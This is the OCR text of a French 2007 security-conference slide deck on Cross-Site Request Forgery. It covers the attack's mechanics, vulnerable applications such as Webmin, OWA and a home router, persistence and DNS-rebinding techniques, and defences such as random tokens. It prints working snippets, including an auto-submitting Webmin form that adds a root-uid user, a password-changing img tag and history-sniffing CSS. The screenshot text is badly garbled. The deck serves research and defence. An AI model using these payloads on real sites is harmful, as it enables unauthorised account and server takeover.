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Partie 1:
Présentation des attaques de
type Cross-Site Request Forgery
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Le navigateur comme client léger
universel

» Webmail, gestion d'agenda, outils bureautiques, Intranet de
gestion documentaire : le « tout Web ».

» Banques en ligne, e-commerce, encheres, impots, poker :

$55%.

» Interface de configuration Web pour les équipements
réseaux, les serveurs, et méme les équipements des
opérateurs téléphoniques.

Créer un événem: Tpus les objets Ench

mai 2007

5 - Setup =less | Securi
[ Rechercher dans les titres etles
L MM J ¥ S 4 |
23 24 25 25 27 2 Ordinateurs portables Ny  Firewa
50 1 2 3 4 5 Margue »
7 8 9 10 11 1z |Indiffére =
14 16 16 17 18 1€ Procasseur
21 22 23 24 25 2EII différ _:I SPI Firewa " Enable ¥ Disable
28 gg=d 30 31 1 2 vjtesse du processeur
4 5 5 7 & 2 [indifférent =l TR o :
D ) Mardi 29 Mai 2007 Additional Filters
Capacité du disque dur
» Agendas indifférent | [ Filter Proxy
Mémoire (RAM) Choisissez le meilleur n Wl riter Cookies
| Indifférent El pour déclarer en ligne
e Ceran _ S = Filter Jawva Applets
e Consultez les meilleure!
- : = ) ]
nelerey =l plages horaires pour f=[EREEECIEEEIN
Motsclesiderechers L votre déclaration par
| |n1:er_net. Pro‘htez aussi Block WAN Requests
Afficher les objets | délais supplémentaires
accordés, [ Block Anonymous Internet Re quests
Options de recherche ™ Filter Mu lticast
Localisation : i §
= ton Des agents des impots [ R ————
Idans I'Union Europ eeeee service ’
[~ Objets da rayon de
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LZ-Q IISC Une vulnérabilité enfin reconnue

» Le « modele de sécurité » du Web : une page d'un
domaine donné peut contenir des liens et effectuer des
requétes vers d'autres domaines.

» Conséqguence : les attaques de type CSRF

» Page malveillante contenant des balises provoquant I'envoi par
le navigateur de la victime d'une requéte vers un site tiers.

» Apparition en 5eme position dans le classement 2007
de I'OWASP :

« Cross site request forgery (CSRF) is the major new
addition to this edition of the OWASP Top 10. »

!’ OWASP

The Open Web Application Security Project

htpsferarw. owaspoorg
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Cinématique d'une attaque CSRF

|

erveur malveillant

192.168.0.1
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Cinématique d'une attaque CSRF

erveur malveillant
HTTP/1.1 200 OK

<htm|>

<img src="http://192.168.0.1/
changePassword?
newpasswd=HSC" />

</html>

192.168.0.1
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Cinématique d'une attaque CSRF

i By

erveur malveillant

HTTP/1.1 200 OK
<html> i
_ <img src="http://192.168.0.1/
GET /changePassword?newpasswd=HSC HTTP/L.1 changePassword?
newpasswd=HSC" />
@ </html>

192.168.0.1
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Cinématique d'une attaque CSRF

erveur malveillant

HTTP/1.1 200 OK
<html> i
) _ <img src="http://192.168.0.1/
@ GET [changePasswordmewpasswd=HSC TTPILL{ | 20 > gePassword?
newpasswd=HSC" />
@ </html>

HTTP/1.1 200 OK
<html>
Password changed
</html>

192.168.0.1
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=HSC "Possibilités des attaques de type
Sz’ CSRF
» Permet d'envoyer différents types de requétes :

» GET : <img src="'URL CIBLE'>
o POST : <form method=POST action='URL CIBLE'>

» Pas nécessaire d'exploiter une vulnérabilité de type
Cross-Site Scripting (XSS) ou autre sur I'application
Web visée.

» Javascript non indispensable sur le navigateur de la
victime.

7o
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L 0" Le « Session Riding »

» Envoi automatique des accréditations de la victime par

le navigateur.

» Risques difféerents selon que la page hostile soit ou non

dans le méme processus que la page du site cib
IE7.0: IE7.0: Firefox 2.0 :
Navigateur Drocessus Drocessus | processus
identique différents identique
Cookies X X
Adresse IP/ Nom DNS X X X
Authentification HTTP X X
Authentification HTTP
. . X X X
enregistrée dans le navigateur
Certificats HTTPS X X X
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Partie 2 :
Exemples d'applications Web
vulnérables
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m Webmin
» Webmin : application Web permettant de gérer la
configuration de serveurs UNIX / Linux.

» Risques:

» Modification de la configuration du serveur administré par
Webmin ;

o Ajout d'un utilisateur root par l'attaguant.
» Webmin vérifie le champ referrer...

» exploitable si la victime a désactivé I'envoi du referrer ;

» pour les autres, utilisation d'une iframe qui n'‘envoie pas ce
champ. ~

7o
. , _ , I{ssTC I_:[%
13/31 Copyright Hervé Schauer Consultants 2007 - Reproduction Interdite e/



@C Webmin .

<html|><body onload="document.add.submit()" >
<iframe src="http://www.hsc-news.com/"
name="iframeWebmin"id="iframeWebmin">
</iframe>
<form action="https://localhost:10000/useradmin/save_user.cgi"
name="add" target="iframeWebmin">
<input type="hidden" name="user" value="CSRF" />
<input type="hidden" name="uid _def" value="0" />
[...]
<input type="hidden" name="others" value="1" />
<input type="submit" value="submit" />
</form>
</body>
</html>

7o
. , _ , I{ssTC ]_:[%
14 /31 Copyright Hervé Schauer Consultants 2007 - Reproduction Interdite e/


https://localhost:10000/useradmin/save_user.cgi
http://www.hsc-news.com/

V4

Site www.sstic.org : protége ?...

=1=] x|
@:—‘/ - |g hktps: vy, sskic, orgfSSTICO7  auth/modificationPassword. do ;”@' Certificate Error | || 2 IGDDgIe = -
o ke & S5TICO7 - Modification du mot de passe | | @ - Bl - Lé.; ~ |k Page - ,_f:‘; Tools ~
'-'JF-"-'J.'S'.-'.iI.'.Ier
l' 30-31 maif19juin 2007
Rennes
SYMPOSIUM SUR LA SECURITE DES TECHNOLOGIES DE L'INFORMATION ET DES COMMUNICATIONS
= Changement de mot de passe
Accueil Modification du mot de passe
Programme de i )
la conférence Email : renaud.fell@hsc.fr
Informations + Ancien mot de [
pratiques passe :
Call For Paper » Nouveau mot de I
Comités passf} c
Confirmation du

Presse * nouveau mot de |
Contacts passe :
Archives SSTIC -
Actes SSTIC Annuler Valider |
FAQ
Partenaires
Espace |
personnel
Modifier votre
compte
Changer de mot
de passe
Ajouter une
soumission
Modifier une
soumission
Afficher les
reviews
Tnocrrintinnc ;I

|.-_. Done, buk with errors on page, I_I_l_l_l_mla Inkernet | L 100% -
StartI @' ,é @ a Free, ., I |- 5¢ prop... I @Wind... I @hsc.h...l i{LIntit...I @Mozill... I f_fz:Llntitl... ” @2 In.. - ffl Inker... I _j login. .. I w coord. .. « ﬁﬁ@ 11:03
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... OU pas : modification de
I'entrée Email...

_|&] %]

k4 Certificate Errar | || X IGu:u:ugIe |-

@:-: - IE hktps: f vy, sskic, orgfSSTICOF fauthfediterInscription. do LI
% @i @ ssTICO7 - Inscription | |

o5 - B - dmb - [5hpage - (G Tools -

SS l' 30-31 mai/15uin 2007~
Rennes

SYMPOSIUM SUR LA SECURITE DES TECHNOLOGIES DE L'INFORMATION ET DES COMMUNICATIONS

. . - .-
Formulaire d'Inscription

Accueil Informations Générales
Programme de
la conférence * Prénom : IRenaud
Informations -
pratiques * Nom : |Fe||
Call For Paper * Email : [renaud.feil@hsc.fr
Comités
Organisation : |Herve' Schauer Consultants
Presse
% publigue
Cont_ac:ts * Inscription: i ,q
Archives SSTIC = Privée
Actes SSTIC i C Oui
* Etudiant:
FAQ _ & Mon
Partenaires .. . . . - - . —
e . % Qui, je souhaite m'inscrire a la mailing-list.
* Mailing-list: ) . ] . . )
' Mon, je ne souhaite pas m'inscrire 3 la mailing-list.

Espace
personnel

Modifier votre
compte

Changer de mot il
de passe LI

Ajouter une

Coordonnées

Adresse : 4 bis, rue de la gare

soumission
Modifier une

Tncrrintinne

Code postal

2300

i . Ville : |Levallois-Perret
soumission
Afficher les Pays : |France
reviews Téléphone : 0141409709
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... pour recuperer les
informations de connexions

ﬁ'SSTIED? - Mot de passe oublié - Windows Internet Explorer =] =]
@:“/ - |g, hkkp: P, sstic, orgfSSTICO7 fFormulaireP asswordCublie, do ;I g (| > IG-:u:ngle = -
W A 88| v| @ Microsoft Outlook Web Access | & SSTICO7 - Mot de passe ... X | | 3 - B - fm - :bpage v {0 Tools -

W EE T Org
l' 30-31 maif1juin 200
Rennes

SYMPOSIUM SUR LA SECURITE DES TECHNOLOGIES DE L'INFORMATION ET DES COMMUNICATIONS

Mot de passe oublié

Accueil Adresse mail
Programme de

la conférence |hacker@mechant.org
S'inscrire a la

" Un mail vous permettant de modifier votre password vous sera envoye a l'adresse ci-dessus.
conférence

Informations
pratiques

Soumettre une
intervention

Appel a
soumissions

Comités

Presse
Contacts
Archives SSTIC
Actes S5TIC
FAQ
Partenaires

Annuler Valider

Espace

personnel

Créer un
compte

Importer un
compte
SSTICD4

Se connecter

|Dl:|ne I_ I_ I_ I_ I_ m |G Inkternet
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LHZS-QC OWA, Horde, Blogspot, SMC...

» OWA et Horde : envol de malils arbitraires avec
I'identité de la victime.

» Blogspot.com : publication d'un commentaire controlé
par |'attaquant sur un blog avec la signature de la
victime.

» Routeur SMC 7004ABR : ajout d'une IP dans la zone
DMZ, ce qui permet de |'attaquer « directement ».

» En bref:

» La plupart des applications Web sont vulnérables ;
* Un Month of CSRF Bugs durerait bien plus d'un mois :-)

7o
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Partie 3 :
Limites des attaques de type
CSRF « traditionnelles » et
evolution de la menace
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Limites des CSRF « traditionnels »

» Disparition du code hostile lors du changement de page
ou de la fermeture du navigateur :

» « L'attaque se finit quand la victime quitte le site Web hostile ou
ferme son navigateur ».

» L'attaque se fait « en aveugle » :

» Manque d'interactivité : la page hostile doit contenir au
préalable les requétes réalisant les actions non autorisées.

» On peut envoyer des requétes, mais pas consulter le
contenu des réponses :

» Same origin policy : un script provenant d'une origine donnée
(protocole://domaine:port) ne peut pas consulter ou modifier
une page provenant d'un autre domaine.

» Restriction similaire pour les XMLHttpRequest().

o
. , _ , I{ssTC I:[%
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=‘HS( f Assurer la persistance du code
LZHQ hostile

* Les « viellles » techniques : fatiguer / tromper |'utilisateur.

» Réouverture automatique de la fenétre lorsque |'utilisateur la
ferme (onunload=window.open).

=) ne fonctionne plus avec les popup-blocker.
» Utilisation d'une iframe invisible.
m) visible dans la barre d'adresse du navigateur.
» Quverture d'une petite fenétre et abandon du focus.
m) toujours visible dans la barre des taches.
» Nouvelle technique : disparition de la fenétre du navigateur.

function waitForever() {
while(1)
sendXMLHTTPRequest(); DEMO

}

<body onunload="waitForever()"> S~
. _ , IssTIC ]_:[%C
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LG(l Rendre l'attaque interactive

» Communication en temps réel entre le serveur Web
hostile et I'attaquant.

» Ajout dynamique dans l'arborescence DOM (Document
Object Model) de balises provoquant les requétes
hostiles.

» Consultation de I'historique de sites visités a l'aide des
CSS .

a:visited spanEBAY { background: url(adviseAttacker.ntm?EBAY }

» Test des pages Web accessibles :

<img src="URL" onerror="adviseAttacker()" />

7o
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LHZS-QC Consulter la réponse

» Pour certaines applications utilisant JSON :
» Récupération de contenu par la balise <script src="URL'>.

» Vulnérabilités dans les navigateurs permettant de
consulter le contenu des réponses :

» plug-in Flash.
» |Internet Explorer | Outlook : redirection 'mhtml://!

» Modification dynamique de la résolution DNS
permettant d'effectuer des XMLHTTPRequest() vers
une autre adresse IP :

» Envoi d'une entrée DNS avec un TTL=0.

» Limites : pas d'acces aux virtual hosts et pas d'envoi des
cookies de l'utilisateur.

o
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192.168.0.1
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CSRF avec XMLHttpRequest()

Serveur Web
malveillant

@ www.hsc.fr-> 217.174.211.25

Serveur DNS
malveillant




E_ %@c CSRF avec XMLHttpRequest()

2 +—>

- / /ServeurWeb
—_— -k
X

malveillant

@ www.hsc.fr-> 217.174.211.25

Serveur DNS
malveillant

-

192.168.0.1
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E_ %@c CSRF avec XMLHttpRequest()

2 L >

- / /serueur Web

malveillant
@ www.hsc.fr-> 192.168.0.1

Serveur DNS
malveillant

-

192.168.0.1
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CSRF avec XMLHttpRequest()

2 L >

- / /Serueur Web

malveillant
@ www.hsc.fr-> 192.168.0.1

@ XmlHttpRequest() *

A

Serveur DNS
malveillant

192.168.0.1
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Partie 4 :
Les protections contre les
attaques de type CSRF
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@C Protections

» Renforcement des navigateurs :

» Détection des scripts potentiellement hostiles par le navigateur

(7).

» Renforcement du DNS-pinning.
» Pour l'utilisateur :

» Utilisation de 2 navigateurs : le navigateur utilisé pour les sites
Internes passe par un serveur relais (proxy) demandant une
authentification.

» Pour les applications Web :

» Ajout d'un jeton aléatoire dans les liens et les formulaires, puis
vérification du jeton dans chaque requéte.

o
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@C Conclusion .

» Les CSRF : une vulnérabilité ayant un impact réel

@ Réalisation d'actions non autorisées dans une application Web avec
les droits d'un utilisateur [égitime.

@ Possibilité pour un attaquant d'assurer la persistance du code
hostile.

» Possibilité pour un attaquant de consulter la réponse.
» Vulnérabilité difficile a résoudre :

@ Cause premiere : modele de conception du Web qui autorise une
page Web a faire une requéte vers un autre site Web.

» Majorité des applications Web vulnérables.
» Vulnérabilité prévisible :

@ Conséquence d'une cohabitation risquée : dans un méme processus,
celui du navigateur, s'exécutent a la fois des applications sensibles
et du contenu potentiellement hostile.

o
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Merci pour votre attention.

Des questions ?

Renaud Felil Louis Nyffenegger
<renaud.feil@hsc.fr> <louis.nyffenegger@hsc.fr>
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